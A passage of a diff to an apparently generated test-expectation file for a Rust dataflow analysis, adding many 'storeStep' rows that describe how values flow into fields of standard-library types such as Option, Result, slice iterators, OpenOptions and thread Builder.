Argument[self].Field[crate::ops::range::RangeInclusive::start] in lang:core::_::::spec_try_fold | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::RangeInclusive::start].Reference in lang:core::_::::nth | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::ops::range::RangeInclusive::start] in lang:core::_::::nth | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::and_then | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::and_then | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::is_none_or | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::is_none_or | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::is_some_and | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::is_some_and | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::map_or | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_or | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::map_or_else | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_or_else | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::option::Option::Some(0)] in lang:core::_::::zip_with | Some | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::zip_with | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::path::Components::path] in lang:std::_::::next_back | Components.path | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::next_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::path::Components::path] in lang:std::_::::next | Components.path | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::next | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::path::Components::path].Reference in lang:std::_::::next_back | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::path::Components::path] in lang:std::_::::next_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::path::Components::path].Reference in lang:std::_::::next | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::path::Components::path] in lang:std::_::::next | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::pin::Pin::__pointer] in lang:core::_::::map_unchecked_mut | Pin | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_unchecked_mut | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::pin::Pin::__pointer] in lang:core::_::::set | Pin | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::set | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::pin::Pin::__pointer].Reference in lang:core::_::::set | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::pin::Pin::__pointer] in lang:core::_::::set | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Err(0)] in lang:core::_::::is_err_and | Err | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::is_err_and | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Err(0)] in lang:core::_::::map_err | Err | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_err | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Err(0)] in lang:core::_::::map_or_else | Err | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_or_else | @@ -1001,6 +1085,71 @@ storeStep | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Ok(0)] in lang:core::_::::is_ok_and | Ok | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::is_ok_and | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Ok(0)] in lang:core::_::::map_or | Ok | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_or | | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::result::Result::Ok(0)] in lang:core::_::::map_or_else | Ok | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_or_else | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Chunks::v] in lang:core::_::::nth_back | Chunks.v | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Chunks::v] in lang:core::_::::nth | Chunks.v | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Chunks::v].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Chunks::v] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Chunks::v].Reference in lang:core::_::::nth | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Chunks::v] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::ChunksExact::v] in lang:core::_::::nth_back | ChunksExact.v | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::ChunksExact::v].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::ChunksExact::v] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::RChunks::v] in lang:core::_::::nth_back | RChunks.v | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::RChunks::v] in lang:core::_::::nth | RChunks.v | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::RChunks::v].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::RChunks::v] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::RChunks::v].Reference in lang:core::_::::nth | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::RChunks::v] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::RChunksExact::v] in lang:core::_::::nth_back | RChunksExact.v | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::RChunksExact::v].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::RChunksExact::v] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::SplitInclusive::v] in lang:core::_::::next_back | SplitInclusive.v | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::SplitInclusive::v] in lang:core::_::::next | SplitInclusive.v | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::SplitInclusive::v].Reference in lang:core::_::::next_back | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::SplitInclusive::v] in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::SplitInclusive::v].Reference in lang:core::_::::next | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::SplitInclusive::v] in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Windows::v] in lang:core::_::::next_back | Windows.v | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Windows::v] in lang:core::_::::nth_back | Windows.v | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Windows::v] in lang:core::_::::next | Windows.v | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Windows::v] in lang:core::_::::nth | Windows.v | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Windows::v].Reference in lang:core::_::::next_back | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Windows::v] in lang:core::_::::next_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Windows::v].Reference in lang:core::_::::nth_back | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Windows::v] in lang:core::_::::nth_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Windows::v].Reference in lang:core::_::::next | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Windows::v] in lang:core::_::::next | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Windows::v].Reference in lang:core::_::::nth | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::slice::iter::Windows::v] in lang:core::_::::nth | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::str::pattern::CharSearcher::finger] in lang:core::_::::next_match | CharSearcher.finger | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::next_match | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::str::pattern::CharSearcher::finger_back] in lang:core::_::::next_match_back | CharSearcher.finger_back | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::next_match_back | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::accessed] in lang:std::_::::set_accessed | FileTimes.accessed | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::set_accessed | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::accessed].Field[crate::option::Option::Some(0)] in lang:std::_::::set_accessed | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::accessed] in lang:std::_::::set_accessed | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::created] in lang:std::_::::set_created | FileTimes.created | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::set_created | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::created].Field[crate::option::Option::Some(0)] in lang:std::_::::set_created | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::created] in lang:std::_::::set_created | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::modified] in lang:std::_::::set_modified | FileTimes.modified | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::set_modified | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::modified].Field[crate::option::Option::Some(0)] in lang:std::_::::set_modified | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::FileTimes::modified] in lang:std::_::::set_modified | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::append] in lang:std::_::::append | OpenOptions.append | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::append | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::create] in lang:std::_::::create | OpenOptions.create | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::create | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::create_new] in lang:std::_::::create_new | OpenOptions.create_new | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::create_new | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::custom_flags] in lang:std::_::::custom_flags | OpenOptions.custom_flags | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::custom_flags | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::read] in lang:std::_::::read | OpenOptions.read | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::read | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::truncate] in lang:std::_::::truncate | OpenOptions.truncate | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::truncate | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::fs::OpenOptions::write] in lang:std::_::::write | OpenOptions.write | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::write | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::gid] in lang:std::_::::gid | Command.gid | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::gid | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::gid].Field[crate::option::Option::Some(0)] in lang:std::_::::gid | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::gid] in lang:std::_::::gid | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::pgroup] in lang:std::_::::pgroup | Command.pgroup | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::pgroup | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::pgroup].Field[crate::option::Option::Some(0)] in lang:std::_::::pgroup | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::pgroup] in lang:std::_::::pgroup | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stderr] in lang:std::_::::stderr | Command.stderr | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::stderr | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stderr].Field[crate::option::Option::Some(0)] in lang:std::_::::stderr | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stderr] in lang:std::_::::stderr | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stdin] in lang:std::_::::stdin | Command.stdin | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::stdin | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stdin].Field[crate::option::Option::Some(0)] in lang:std::_::::stdin | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stdin] in lang:std::_::::stdin | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stdout] in lang:std::_::::stdout | Command.stdout | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::stdout | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stdout].Field[crate::option::Option::Some(0)] in lang:std::_::::stdout | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stdout] in lang:std::_::::stdout | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::uid] in lang:std::_::::uid | Command.uid | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::uid | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::uid].Field[crate::option::Option::Some(0)] in lang:std::_::::uid | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::uid] in lang:std::_::::uid | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map | Ready | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_err | Ready | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_err | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_ok | Ready | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::map_ok | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::task::poll::Poll::Ready(0)].Field[crate::result::Result::Err(0)] in lang:core::_::::map_err | Err | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_err | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::task::poll::Poll::Ready(0)].Field[crate::result::Result::Ok(0)] in lang:core::_::::map_ok | Ok | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_ok | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::thread::Builder::name] in lang:std::_::::name | Builder.name | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::name | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::thread::Builder::name].Field[crate::option::Option::Some(0)] in lang:std::_::::name | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::thread::Builder::name] in lang:std::_::::name | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::thread::Builder::stack_size] in lang:std::_::::stack_size | Builder.stack_size | file://:0:0:0:0 | [post] [summary param] self in lang:std::_::::stack_size | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::thread::Builder::stack_size].Field[crate::option::Option::Some(0)] in lang:std::_::::stack_size | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::thread::Builder::stack_size] in lang:std::_::::stack_size | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::vec::Vec::len] in lang:alloc::_::::set_len | Vec.len | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::set_len | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::vec::Vec::len] in lang:alloc::_::::truncate | Vec.len | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::truncate | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::vec::into_iter::IntoIter::ptr] in lang:alloc::_::::forget_allocation_drop_remaining | IntoIter.ptr | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::forget_allocation_drop_remaining | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::vec::set_len_on_drop::SetLenOnDrop::len] in lang:alloc::_::::drop | SetLenOnDrop.len | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::drop | +| file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::vec::set_len_on_drop::SetLenOnDrop::len].Reference in lang:alloc::_::::drop | &ref | file://:0:0:0:0 | [summary] to write: Argument[self].Field[crate::vec::set_len_on_drop::SetLenOnDrop::len] in lang:alloc::_::::drop | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:alloc::_::::add_assign | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::add_assign | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:alloc::_::::clone_from | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:alloc::_::::clone_from | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::get_or_insert | &ref | file://:0:0:0:0 | [post] [summary param] self in lang:core::_::::get_or_insert | @@ -1017,6 +1166,7 @@ storeStep | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in repo:https://github.com/matklad/once_cell:once_cell::_::::clone_from | &ref | file://:0:0:0:0 | [post] [summary param] self in repo:https://github.com/matklad/once_cell:once_cell::_::::clone_from | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in repo:https://github.com/matklad/once_cell:once_cell::_::::clone_from | &ref | file://:0:0:0:0 | [post] [summary param] self in repo:https://github.com/matklad/once_cell:once_cell::_::::clone_from | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::consume | &ref | file://:0:0:0:0 | [post] [summary param] self in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::consume | +| file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Field[crate::borrow::Cow::Borrowed(0)] in lang:alloc::_::::add_assign | Borrowed | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:alloc::_::::add_assign | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::get_or_insert | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::get_or_insert | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::insert | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::insert | | file://:0:0:0:0 | [summary] to write: Argument[self].Reference.Field[crate::option::Option::Some(0)] in lang:core::_::::replace | Some | file://:0:0:0:0 | [summary] to write: Argument[self].Reference in lang:core::_::::replace | @@ -1032,12 +1182,36 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Element in lang:core::_::crate::cmp::minmax_by | element | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::cmp::minmax_by | | file://:0:0:0:0 | [summary] to write: ReturnValue.Element in lang:core::_::crate::cmp::minmax_by_key | element | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::cmp::minmax_by_key | | file://:0:0:0:0 | [summary] to write: ReturnValue.Element in lang:core::_::crate::iter::traits::iterator::Iterator::collect | element | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::traits::iterator::Iterator::collect | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::size_hint | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::size_hint | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::size_hint | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::size_hint | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::size_hint | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::size_hint | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::nexts | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::nexts | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::find_lower_bound_edge | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::find_lower_bound_edge | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::find_upper_bound_edge | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::find_upper_bound_edge | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::size_hint | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::size_hint | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::size_hint | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:alloc::_::::size_hint | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::size_hint | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::<[_]>::align_to | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::align_to | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::<[_]>::align_to_mut | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::align_to_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::<[_]>::partition_dedup_by | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::partition_dedup_by | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::into_parts | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_parts | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::size_hint | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::size_hint | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::div_rem_small | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::div_rem_small | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::div_rem_small | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::div_rem_small | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::into_bounds | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::into_bounds | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::into_bounds | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::into_inner | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::unzip | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::unzip | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::into_bounds | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::into_bounds | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::into_bounds | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_bounds | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::size_hint | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::size_hint | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::size_hint | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::size_hint | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div_euclid | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div_euclid | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div | @@ -1050,23 +1224,631 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div_euclid | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div_euclid | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:core::_::::overflowing_div_euclid | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::overflowing_div_euclid | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:std::_::::get_mut | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:std::_::::get_ref | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::get_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[0] in lang:std::_::::into_inner | tuple.0 | file://:0:0:0:0 | 